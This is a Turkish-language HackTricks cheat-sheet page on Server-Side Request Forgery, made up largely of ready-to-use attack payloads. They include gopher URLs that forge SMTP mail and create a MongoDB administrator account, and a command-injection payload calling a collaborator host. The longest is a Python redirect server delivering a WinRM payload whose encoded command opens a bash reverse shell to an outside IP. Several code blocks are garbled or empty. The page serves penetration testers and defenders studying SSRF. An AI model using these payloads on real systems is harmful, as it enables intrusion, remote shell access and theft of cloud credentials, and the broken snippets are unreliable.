# SSRF (Server Side Request Forgery) {{#include ../../banners/hacktricks-training.md}} ## Temel Bilgiler Bir **Server-side Request Forgery (SSRF)** açığı, bir saldırganın **sunucu tarafı uygulamasını** kendi seçtiği bir alan adına **HTTP istekleri** yapacak şekilde manipüle etmesi durumunda meydana gelir. Bu açık, sunucuyu saldırgan tarafından yönlendirilen keyfi dış isteklere maruz bırakır. ## SSRF'yi Yakalama Yapmanız gereken ilk şey, sizin tarafınızdan oluşturulan bir SSRF etkileşimini yakalamaktır. Bir HTTP veya DNS etkileşimini yakalamak için aşağıdaki araçları kullanabilirsiniz: - **Burp Collaborator** - [**pingb**](http://pingb.in) - [**canarytokens**](https://canarytokens.org/generate) - [**interractsh**](https://github.com/projectdiscovery/interactsh) - [**http://webhook.site**](http://webhook.site) - [**https://github.com/teknogeek/ssrf-sheriff**](https://github.com/teknogeek/ssrf-sheriff) - [http://requestrepo.com/](http://requestrepo.com/) - [https://github.com/stolenusername/cowitness](https://github.com/stolenusername/cowitness) - [https://github.com/dwisiswant0/ngocok](https://github.com/dwisiswant0/ngocok) - ngrok kullanan bir Burp Collaborator ## Beyaz Liste Alanları Bypass Genellikle SSRF'nin yalnızca **belirli beyaz listeye alınmış alanlarda** veya URL'lerde çalıştığını göreceksiniz. Aşağıdaki sayfada, **bu beyaz listeyi aşmak için denemek üzere tekniklerin bir derlemesini** bulabilirsiniz: {{#ref}} url-format-bypass.md {{#endref}} ### Açık Yönlendirme ile Bypass Eğer sunucu doğru bir şekilde korunuyorsa, **web sayfasında bir Açık Yönlendirme'yi istismar ederek tüm kısıtlamaları aşabilirsiniz**. Çünkü web sayfası **aynı alan adına SSRF'ye** izin verecek ve muhtemelen **yönlendirmeleri takip edecektir**, bu nedenle **Açık Yönlendirme'yi istismar ederek sunucunun dahili herhangi bir kaynağa erişmesini sağlayabilirsiniz**.\ Daha fazla bilgi için burayı okuyun: [https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf) ## Protokoller - **file://** - URL şeması `file://` referans alınarak, doğrudan `/etc/passwd`'a işaret eder: `file:///etc/passwd` - **dict://** - DICT URL şemasının, DICT protokolü aracılığıyla tanımlara veya kelime listelerine erişim için kullanıldığı belirtilmiştir. Verilen bir örnek, belirli bir kelime, veritabanı ve giriş numarasını hedef alan bir URL'nin nasıl oluşturulduğunu göstermektedir; ayrıca bir PHP scriptinin, saldırgan tarafından sağlanan kimlik bilgileri ile bir DICT sunucusuna bağlanmak için potansiyel olarak kötüye kullanılabileceği bir durumu içermektedir: `dict://;@:/d:::` - **SFTP://** - Güvenli kabuk üzerinden güvenli dosya transferi için bir protokol olarak tanımlanmıştır; bir örnek, bir PHP scriptinin kötü niyetli bir SFTP sunucusuna bağlanmak için nasıl istismar edilebileceğini göstermektedir: `url=sftp://generic.com:11111/` - **TFTP://** - UDP üzerinden çalışan Trivial File Transfer Protocol, bir TFTP sunucusuna istek göndermek için tasarlanmış bir PHP scriptinin örneği ile birlikte belirtilmiştir. 'generic.com' adresine '12346' portu üzerinden 'TESTUDPPACKET' dosyası için bir TFTP isteği yapılmaktadır: `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET` - **LDAP://** - Bu bölüm, IP ağları üzerinden dağıtılmış dizin bilgi hizmetlerini yönetmek ve erişmek için kullanılan Lightweight Directory Access Protocol'ü kapsamaktadır. Bir LDAP sunucusuyla localhost üzerinde etkileşim: `'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.` - **SMTP** - SSRF açıklarını istismar ederek localhost üzerindeki SMTP hizmetleriyle etkileşim kurma yöntemi açıklanmıştır; bu, dahili alan adlarını ortaya çıkarmak ve bu bilgilere dayalı daha fazla araştırma eylemleri için adımları içermektedir. ``` From https://twitter.com/har1sec/status/1182255952055164929 1. connect with SSRF on smtp localhost:25 2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail 3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains 4. connect ``` - **Curl URL globbing - WAF atlatma** - Eğer SSRF **curl** ile çalıştırılıyorsa, WAF'ları atlamak için faydalı olabilecek [**URL globbing**](https://everything.curl.dev/cmdline/globbing) adında bir özelliği vardır. Örneğin bu [**yazıda**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) `file` protokolü aracılığıyla bir **path traversal** örneğini bulabilirsiniz: ``` file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt} ``` - **Gopher://** - Gopher protokolünün sunucu iletişimi için IP, port ve baytları belirtme yeteneği, payload'lar oluşturmak için Gopherus ve remote-method-guesser gibi araçlarla birlikte tartışılmaktadır. İki farklı kullanım örneği gösterilmektedir: ### Gopher:// Bu protokolü kullanarak sunucunun **göndermesini** istediğiniz **IP, port ve baytları** belirtebilirsiniz. Ardından, temelde bir SSRF'yi **herhangi bir TCP sunucusuyla iletişim kurmak için** kullanabilirsiniz (ancak önce hizmetle nasıl iletişim kuracağınızı bilmeniz gerekir).\ Neyse ki, birkaç hizmet için payload'lar oluşturmak üzere [Gopherus](https://github.com/tarunkant/Gopherus) kullanabilirsiniz. Ayrıca, _Java RMI_ hizmetleri için _gopher_ payload'ları oluşturmak üzere [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) kullanılabilir. **Gopher smtp** ``` ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a will make a request like HELO localhost MAIL FROM: RCPT TO: DATA From: [Hacker] To: Date: Tue, 15 Sep 2017 17:20:26 -0400 Subject: Ah Ah AHYou didn't say the magic word ! . QUIT ``` **Gopher HTTP** ```bash #For new lines you can use %0A, %0D%0A gopher://:8080/_GET / HTTP/1.0%0A%0A gopher://:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body ``` **Gopher SMTP — 1337'ye geri bağlantı** ```php:redirect.php Now query it. https://example.com/?q=http://evil.com/redirect.php. ``` #### Gopher MongoDB -- Kullanıcı oluşturun, kullanıcı adı=admin, şifre=admin123 ve izin=administrator ile ```bash # Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0 7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a %00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00% 06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00 %00%00administrator%00%00%00%00' ``` ## SSRF via Referrer header & Others Sunuculardaki analiz yazılımları genellikle gelen bağlantıları izlemek için Referrer başlığını kaydeder, bu uygulamaları Server-Side Request Forgery (SSRF) zafiyetlerine istemeden maruz bırakır. Bunun nedeni, bu tür yazılımların Referrer başlığında belirtilen dış URL'leri ziyaret ederek yönlendirme sitesi içeriğini analiz etmesidir. Bu zafiyetleri ortaya çıkarmak için, analiz araçlarının Referer başlığını işleme şekline dayanarak potansiyel SSRF saldırı yüzeylerini tanımlamak için "**Collaborator Everywhere**" Burp Suite eklentisi önerilmektedir. ## SSRF via SNI data from certificate Herhangi bir arka uca basit bir yapılandırma ile bağlantıyı etkinleştirebilecek bir yanlış yapılandırma, örnek bir Nginx yapılandırması ile gösterilmektedir: ``` stream { server { listen 443; resolver 127.0.0.11; proxy_pass $ssl_preread_server_name:443; ssl_preread on; } } ``` Bu yapılandırmada, Server Name Indication (SNI) alanındaki değer doğrudan arka ucun adresi olarak kullanılmaktadır. Bu ayar, SNI alanında istenen IP adresini veya alan adını belirterek istismar edilebilecek bir Server-Side Request Forgery (SSRF) açığına maruz kalmaktadır. Aşağıda, `openssl` komutunu kullanarak `internal.host.com` gibi keyfi bir arka uca bağlantı zorlamak için bir istismar örneği verilmiştir: ```bash openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf ``` ## [Wget dosya yükleme](../file-upload/index.html#wget-file-upload-ssrf-trick) ## Komut Enjeksiyonu ile SSRF Aşağıdaki gibi bir payload denemeye değer olabilir: `` url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami` `` ## PDF'lerin İşlenmesi Eğer web sayfası sağladığınız bazı bilgilerle otomatik olarak bir PDF oluşturuyorsa, **PDF oluşturucu tarafından (sunucu) PDF oluşturulurken çalıştırılacak bazı JS'ler ekleyebilirsiniz** ve SSRF'yi kötüye kullanabilirsiniz. [**Daha fazla bilgi burada**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.** ## SSRF'den DoS'a Birden fazla oturum oluşturun ve oturumlardan SSRF'yi kullanarak ağır dosyaları indirmeye çalışın. ## SSRF PHP Fonksiyonları Aşağıdaki sayfayı, savunmasız PHP ve hatta Wordpress fonksiyonları için kontrol edin: {{#ref}} ../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md {{#endref}} ## Gopher'a Yönlendirme için SSRF Bazı istismarlar için **bir yönlendirme yanıtı göndermeniz** gerekebilir (potansiyel olarak gopher gibi farklı bir protokol kullanmak için). İşte yönlendirme ile yanıt vermek için farklı python kodları: ```python # First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes from http.server import HTTPServer, BaseHTTPRequestHandler import ssl class MainHandler(BaseHTTPRequestHandler): def do_GET(self): print("GET") self.send_response(301) self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%70%3a%44%61%74%61%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%74%69%6f%6e%53%65%74%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%20%4e%61%6d%65%3d%22%5f%5f%63%69%6d%6e%61%6d%65%73%70%61%63%65%22%3e%72%6f%6f%74%2f%73%63%78%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%3e%0a%20%20%20%20%20%20%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%3c%2f%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%3c%73%3a%42%6f%64%79%3e%0a%20%20%20%20%20%20%3c%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%22%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%63%6f%6d%6d%61%6e%64%3e%65%63%68%6f%20%2d%6e%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%78%4d%53%38%35%4d%44%41%78%49%44%41%2b%4a%6a%45%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%3c%2f%70%3a%63%6f%6d%6d%61%6e%64%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%74%69%6d%65%6f%75%74%3e%30%3c%2f%70%3a%74%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%2f%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%3e%0a%20%20%20%3c%2f%73%3a%42%6f%64%79%3e%0a%3c%2f%73%3a%45%6e%76%65%6c%6f%70%65%3e%0a") self.end_headers() httpd = HTTPServer(('0.0.0.0', 443), MainHandler) httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True) httpd.serve_forever() ``` ```python from flask import Flask, redirect from urllib.parse import quote app = Flask(__name__) @app.route('/') def root(): return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301) if __name__ == "__main__": app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443) ``` ## Yanlış yapılandırılmış proxy'ler ile SSRF Tricks [**from this post**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies). ### Flask
Flask proxy zayıf kodu ```python from flask import Flask from requests import get app = Flask('__main__') SITE_NAME = 'https://google.com' @app.route('/', defaults={'path': ''}) @app.route('/') def proxy(path): return get(f'{SITE_NAME}{path}').content if __name__ == "__main__": app.run(threaded=False) ```
Flask, **`@`** karakterini başlangıç karakteri olarak kullanmaya izin verir, bu da **ilk ana bilgisayar adını kullanıcı adı olarak ayarlamayı** ve yeni bir tane enjekte etmeyi sağlar. Saldırı isteği: ```http GET @evildomain.com/ HTTP/1.1 Host: target.com Connection: close ``` ### Spring Boot Zayıf kod:
Bir isteğin **yolunu** **`;`** karakteri ile **başlatmanın** mümkün olduğu keşfedildi, bu da yeni bir ana bilgisayar eklemek için **`@`** kullanılmasına izin veriyor. Saldırı isteği: ```http GET ;@evil.com/url HTTP/1.1 Host: target.com Connection: close ``` ### PHP Yerleşik Web Sunucusu
Hassas PHP kodu ```php ```
PHP, URL'nun yolundaki **slash'tan önce `*` karakterinin** kullanılmasına izin verir, ancak yalnızca kök yol adı `/` için kullanılabileceği ve ilk slash'tan önce nokta `.` kullanılmasına izin verilmediği gibi başka sınırlamaları da vardır, bu nedenle örneğin noktasız-hex kodlu bir IP adresi kullanmak gereklidir: ```http GET *@0xa9fea9fe/ HTTP/1.1 Host: target.com Connection: close ``` ## DNS Rebidding CORS/SOP bypass Eğer **CORS/SOP** nedeniyle **yerel bir IP'den içerik sızdırma** ile **problemler** yaşıyorsanız, **DNS Rebidding** bu sınırlamayı aşmak için kullanılabilir: {{#ref}} ../cors-bypass.md {{#endref}} ### Otomatik DNS Rebidding [**`Singularity of Origin`**](https://github.com/nccgroup/singularity) bir [DNS rebinding](https://en.wikipedia.org/wiki/DNS_rebinding) saldırısı gerçekleştirmek için bir araçtır. Saldırı sunucusunun DNS adının IP adresini hedef makinenin IP adresine yeniden bağlamak ve hedef makinedeki savunmasız yazılımları istismar etmek için saldırı yüklerini sunmak için gerekli bileşenleri içerir. Ayrıca **halka açık çalışan sunucuya** göz atın: [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html) ## DNS Rebidding + TLS Oturum ID/Oturum bileti Gereksinimler: - **SSRF** - **Çıkış TLS oturumları** - **Yerel portlarda şeyler** Saldırı: 1. Kullanıcı/bota **saldırgan tarafından kontrol edilen bir** **alan adına** **erişim** istemesini söyleyin. 2. **DNS**'nin **TTL**'si **0** saniyedir (bu nedenle kurban alan adının IP'sini yakında tekrar kontrol edecektir). 3. Kurban ile saldırganın alanı arasında bir **TLS bağlantısı** oluşturulur. Saldırgan **yükü** **Oturum ID'si veya Oturum Bileti** içine yerleştirir. 4. **Alan**, **kendisine** karşı **sonsuz bir yönlendirme döngüsü** başlatır. Bunun amacı, kullanıcı/botun alan adına erişmesini sağlamak ve alanın **tekrar** bir **DNS isteği** yapmasını sağlamaktır. 5. DNS isteğinde artık bir **özel IP** adresi verilir (örneğin 127.0.0.1). 6. Kullanıcı/bot **TLS bağlantısını yeniden kurmaya** çalışacak ve bunu yapmak için **Oturum** ID'sini/Bileti ID'sini (saldırganın **yükünün** bulunduğu yer) **gönderecektir**. Böylece, **kullanıcı/botun kendine saldırmasını** sağlamayı başardınız. Bu saldırı sırasında, localhost:11211 (_memcache_)'e saldırmak istiyorsanız, kurbanın başlangıç bağlantısını www.attacker.com:11211 ile kurmasını sağlamanız gerektiğini unutmayın ( **port her zaman aynı olmalıdır**).\ Bu saldırıyı **gerçekleştirmek için aracı kullanabilirsiniz**: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\ **Daha fazla bilgi** için bu saldırının açıklandığı konuşmaya göz atın: [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference) ## Blind SSRF Kör bir SSRF ile kör olmayan bir SSRF arasındaki fark, kör olanın SSRF isteğinin yanıtını görememenizdir. Bu nedenle, yalnızca iyi bilinen zafiyetleri istismar edebileceğiniz için istismar etmek daha zordur. ### Zaman tabanlı SSRF Sunucudan gelen yanıtların **zamanını kontrol ederek**, bir kaynağın var olup olmadığını **bilmek mümkün olabilir** (belki mevcut bir kaynağa erişmek, var olmayan bir kaynağa erişmekten daha fazla zaman alır). ### Körden tam istismar durum kodlarına Bu [**blog yazısına**](https://slcyber.io/assetnote-security-research-center/novel-ssrf-technique-involving-http-redirect-loops/) göre, bazı kör SSRF'ler, hedef URL 200 durum kodu ile yanıt verse bile (AWS meta verileri gibi), bu verinin düzgün formatlanmadığı ve bu nedenle uygulamanın bunu göstermeyi reddedebileceği için meydana gelebilir. Ancak, SSRF'de 305'ten 309'a kadar bazı yönlendirme yanıtları göndererek, uygulamanın **bu yönlendirmeleri takip etmesini sağlamak** mümkün olabilirken, hata moduna girerek verinin formatını kontrol etmeyi bırakabilir ve sadece yazdırabilir. Bunu istismar etmek için kullanılan python sunucusu şudur: ```python @app.route("/redir") def redir(): count = int(request.args.get("count", 0)) + 1 # Pump out 305, 306, 307, 308, 309, 310 ... weird_status = 301 + count if count >= 10: # after 5 “weird” codes return redirect(METADATA_URL, 302) return redirect(f"/redir?count={count}", weird_status) @app.route("/start") def start(): return redirect("/redir", 302) ``` **Adımlar:** - İlk 302, uygulamanın takip etmeye başlamasını sağlar. - Ardından 305 → 306 → 307 → 308 → 309 → 310 alır. - 5. garip koddan sonra PoC nihayet 302 → 169.254.169.254 → 200 OK döner. **Hedefte neler oluyor:** - libcurl kendisi 305–310'u takip eder; bilinmeyen kodları "takip et" olarak normalleştirir. - N garip yönlendirmeden sonra (burada ≥ 5) uygulamanın kendi sarmalayıcı "bir şeyler ters gidiyor" kararını verir ve hata moduna geçer. - Bu modda, tüm yönlendirme zincirini ve son gövdeyi dışarıdaki çağrıcıya döker. - Sonuç: saldırgan her başlığı + meta verileri JSON olarak görür, görev tamamlandı. Bu, daha önce sızdıramadığınız durum kodlarını sızdırmak için ilginçtir (örneğin bir 200). Ancak, bir şekilde yanıtın durum kodunu da seçebiliyorsanız (AWS meta verisinin 500 durum kodu ile yanıt verdiğini varsayın), **doğrudan yanıtın içeriğini sızdıran bazı durum kodları olabilir.** ## Bulut SSRF Sömürüsü Bir bulut ortamında çalışan bir makinede bir SSRF açığı bulursanız, bulut ortamı hakkında ilginç bilgiler ve hatta kimlik bilgileri elde edebilirsiniz: {{#ref}} cloud-ssrf.md {{#endref}} ## SSRF Açık Platformlar Birçok bilinen platformda SSRF açıkları bulunmaktadır veya bulunmuştur, bunları kontrol edin: {{#ref}} ssrf-vulnerable-platforms.md {{#endref}} ## Araçlar ### [**SSRFMap**](https://github.com/swisskyrepo/SSRFmap) SSRF açıklarını tespit etmek ve sömürmek için bir araç ### [Gopherus](https://github.com/tarunkant/Gopherus) - [Gopherus hakkında blog yazısı](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/) Bu araç, aşağıdakiler için Gopher yükleri oluşturur: - MySQL - PostgreSQL - FastCGI - Redis - Zabbix - Memcache ### [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) - [SSRF kullanımı hakkında blog yazısı](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/) _remote-method-guesser_, en yaygın _Java RMI_ açıkları için saldırı işlemlerini destekleyen bir _Java RMI_ güvenlik tarayıcısıdır. Mevcut işlemlerin çoğu, istenen işlem için bir _SSRF_ yükü oluşturmak üzere `--ssrf` seçeneğini destekler. `--gopher` seçeneği ile birlikte, doğrudan kullanılabilir _gopher_ yükleri oluşturulabilir. ### [SSRF Proxy](https://github.com/bcoles/ssrf_proxy) SSRF Proxy, istemci HTTP trafiğini Server-Side Request Forgery (SSRF) açığına sahip HTTP sunucuları üzerinden tünellemek için tasarlanmış çok iş parçacıklı bir HTTP proxy sunucusudur. ### Pratik yapmak için {{#ref}} https://github.com/incredibleindishell/SSRF_Vulnerable_Lab {{#endref}} ## Referanslar - [https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4](https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4) - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery) - [https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/](https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/) - [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) {{#include ../../banners/hacktricks-training.md}}